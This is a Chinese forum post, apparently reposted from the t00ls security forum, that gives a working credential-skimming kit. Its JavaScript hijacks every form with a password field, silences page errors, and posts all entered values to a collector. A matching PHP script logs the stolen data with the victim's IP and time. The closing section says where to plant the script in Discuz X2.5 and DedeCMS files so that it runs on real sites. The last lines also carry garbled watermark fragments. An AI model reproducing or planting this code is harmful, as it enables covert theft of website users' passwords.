js通用截获后台密码脚本

功能：
<form method="POST">(整个表单里如果没找到<input type="password">的框框则不截获，如果找到则截获所有input里的value。)</form>

/***************
通用截获form密码
IE, chrome通过测试
作者 Spider
****************/
function Send_Data(url,ref,datas) {
        var xmlhttp = false;
        //更高效地获取XMLhttp对象
        if(window.XMLHttpRequest) {
                xmlhttp = new XMLHttpRequest();
                if(xmlhttp.overrideMimeType) { xmlhttp.overrideMimeType('text/xml'); }
        } else if(window.ActiveXObject) {
                var xmlobj = ['Microsoft.XMLHTTP','MSXML.XMLHTTP','Msxml2.XMLHTTP.8.0','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];
                for(var i = 0;i < xmlobj.length;i++) { try { xmlhttp = new ActiveXObject(xmlobj[i]); } catch(e) {} }
        }
        if(!xmlhttp) { return false; }
        //接收截获数据地址(跨域方法百度找)
        var sjurl = 'http://localhost/door/get/xss.php';
        //$_POST['url']-当前地址,$_POST['ref']-来路,$_POST['data']-截获的数据
        var sjpos = 'var=xss&url='+escape(url)+'&ref='+escape(ref)+'&data='+escape(datas);
        //POST方法提交数据
        xmlhttp.open("POST", sjurl, true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.setRequestHeader("Content-length",sjpos.length);
        xmlhttp.setRequestHeader("Connection","close");
        xmlhttp.send(sjpos);
        return true;
}
function Form_Hijack(thisform) {
        var ispwd = false;
        //查找form里是否含有输入密码的框框
        for(var k = 0;k < thisform.elements.length;k++) {
                var sjobj = thisform.elements[k]; if(sjobj.type == 'password') { ispwd = true; break; }
        }
        //如果没有输入密码的框框则不截获
        if(!ispwd) { return true; }
        var sjurl = window.location;
        var sjref = document.referrer;
        //如果运行在子窗口
        if(window.parent.location) { sjurl = window.parent.location; }
        if(top.document.referrer) { sjref = top.document.referrer; }
        else if(window.parent.document.referrer) { sjref = window.parent.document.referrer; }
        var sjdata = '';
        for(var j = 0;j < thisform.elements.length;j++) {
                var sjobj = thisform.elements[j];
                //过滤掉不重要的对象
                if(sjobj.type != 'button' && sjobj.type != 'submit' && sjobj.type != 'hidden' && sjobj.type != 'image') {
                        //框框的名字(name="") 数据(value="")
                        sjdata += sjobj.name+':'+sjobj.value+' --- ';
                }
        }
        //如果截获成功就发送
        if(sjurl && sjdata) { Send_Data(sjurl,sjref,sjdata); }
        return true;
}
function Start_Hijack() {
        if(document.getElementsByTagName) {
                //开始遍历form表单
                var sjform = document.getElementsByTagName("form");
                //劫持所有form表单的提交事件
                for(var i = 0;i < sjform.length;i++) { sjform[i].onsubmit = function() { return Form_Hijack(this); } }
        }
        return true;
}
//不显示网页错误
window.onerror = function() { return true; }
//页面加载完毕才开始截获
document.onreadystatechange = function() {
        //让子弹飞一会
        if(document.readyState == "complete") { setTimeout('Start_Hijack()',1000); }
}

通用截获form密码 php接收文件:

<?php
/***************
通用截获form密码 php接收文件
作者 Spider
****************/
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
//保存数据的文件
$logfile = './xss.txt';
function filew($filename,$filedata,$filemode) {
        $handle = fopen($filename,$filemode);
        $key = fputs($handle,$filedata);
        fclose($handle);
        return $key;
}
function filer($filename,$filesize = 0) {
        $filesize = $filesize ? $filesize : filesize($filename);
        $handle = fopen($filename,'r');
        $filedata = fread($handle,$filesize);
        fclose($handle);
        return $filedata;
}
function checkgpc($array) {
        foreach($array as $key => $var) { $array[$key] = is_array($var) ? checkgpc($var) : stripslashes($var); }
        return $array;
}
if(get_magic_quotes_gpc()) { $_POST = checkgpc($_POST); }
if(isset($_POST['url']) && isset($_POST['ref']) && isset($_POST['data'])) {
        if(strlen($_POST['url']) > 500 || strlen($_POST['ref']) > 500 || strlen($_POST['data']) > 1000) { exit('数据太大不正常'); }
        $temp = filer($logfile);
        $data = $_POST['url'].'●'.$_POST['ref'].'●'.$_POST['data'];
        //是否重复记录
        if(strpos($temp,$data) > -1) { exit('重复记录'); }
        //来路IP
        $reip = '●'.$_SERVER["REMOTE_ADDR"];
        //时间
        $time = '●'.date('Y-m-d H:i',time());
        filew($logfile,$data.$reip.$time."\r\n",'w');
}
?>

实例：

discuzX2.5 & dedecms v5.7
- 专注网络安全7 m, ]) P+ P0 ~
discuz首页源代码里找到包含的js文件，在static/js/common.js插入代码。www.t00ls.net  a" n5 _- A7 B* u( t& G* `
当然也可以插入css文件里，data/cache/style_1_common.css。 - 低调求发展! a3 R/ c( u; ^. P% k$ q
dedecms是../include/js/jquery/jquery.js。络安全& ]! k1 ]9 b+ }0 R  }

转载自：https://www.t00ls.net/thread-22883-1-1.html